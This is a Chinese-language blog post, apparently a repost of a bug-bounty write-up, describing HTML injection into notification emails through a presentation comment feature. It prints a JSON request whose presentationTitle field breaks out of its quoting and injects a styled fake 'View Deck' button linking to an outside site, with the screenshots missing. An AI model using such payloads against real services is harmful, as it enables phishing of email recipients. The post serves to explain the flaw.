利用电子邮件中的HTML注入 - Kirin博客

利用电子邮件中的HTML注入

作者: A.毒蜂

全网最全的网络资源分享网站

标签:

注入

特别声明:部分文章为网络转载,资源使用一般不提供任何帮助,特殊资源除外,如有侵权请联系站长!请勿违法!本站文章仅供学习了解!技术无罪!

流量卡广告 Kirin影视 联系站长QQ

HTMLi是一个在呈现HTML代码的任何应用程序中可利用的漏洞。电子邮件是其中之一。

本文的其余部分说明了如何通过目标上的注释通知功能将HTML注入电子邮件中。

Part 01

记得这里未讨论的HTML注入吗?


因此,在通知电子邮件中反映了comment和presentationTitle参数的值。

最初看起来如下:


{"type":"SlideComment","recipients":[],"teamAlias":"EEqSBdu9z49","data":{"comment":"This is Redacted","commenterId":"01234567","commenterProfileImage":"","presentationUUID":"x14r5K1tFnH","presentationTitle":"Welcome to Redacted Copy www.footstep.ninja","slideLocalId":"5p3nrib"}}


然后,在为参数注入presentationTitleHTML属性后,它看起来如下所示:


{"type":"SlideComment","recipients":[],"teamAlias":"EEqSBdu9z49","data":{"comment":"Comments are great!","commenterId":"01234567","commenterProfileImage":"","presentationUUID":"x14r5K1tFnH","presentationTitle":"Welcome to Redacted\" <br/><br/> <div style='color:#1a3a69;line-height:1.5em;font-size:18px;text-align:center'>This is a test comment</div><br/> <a style='background-color:#f68270;border:1px solid #333333;border-color:#f68270;border-radius:6px;border-width:1px;color:#ffffff;display:inline-block;font-family:arial,helvetica,sans-serif;font-size:16px;font-weight:bold;letter-spacing:0px;line-height:16px;padding:12px 18px 12px 18px;text-align:center;text-decoration:none' href='https://footstep.ninja' target='_blank' data-saferedirecturl='https://footstep.ninja'>View Deck</a> <!-- Copy https://www.footstep.ninja","slideLocalId":"5p3nrib"}}


Part 02

自然通知如下所示:



Part 03

看起来像这样;



通过查看原始消息,我得到了确切的HTML:单击省略号,然后单击“显示原始”



分享到:
加入交流群
未经允许不得转载:

作者: A.毒蜂, 转载或复制请以 超链接形式 并注明出处 Kirin博客
原文地址: 《利用电子邮件中的HTML注入》 发布于2020-11-26

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册

觉得文章有用就加入交流群吧

QQ扫一扫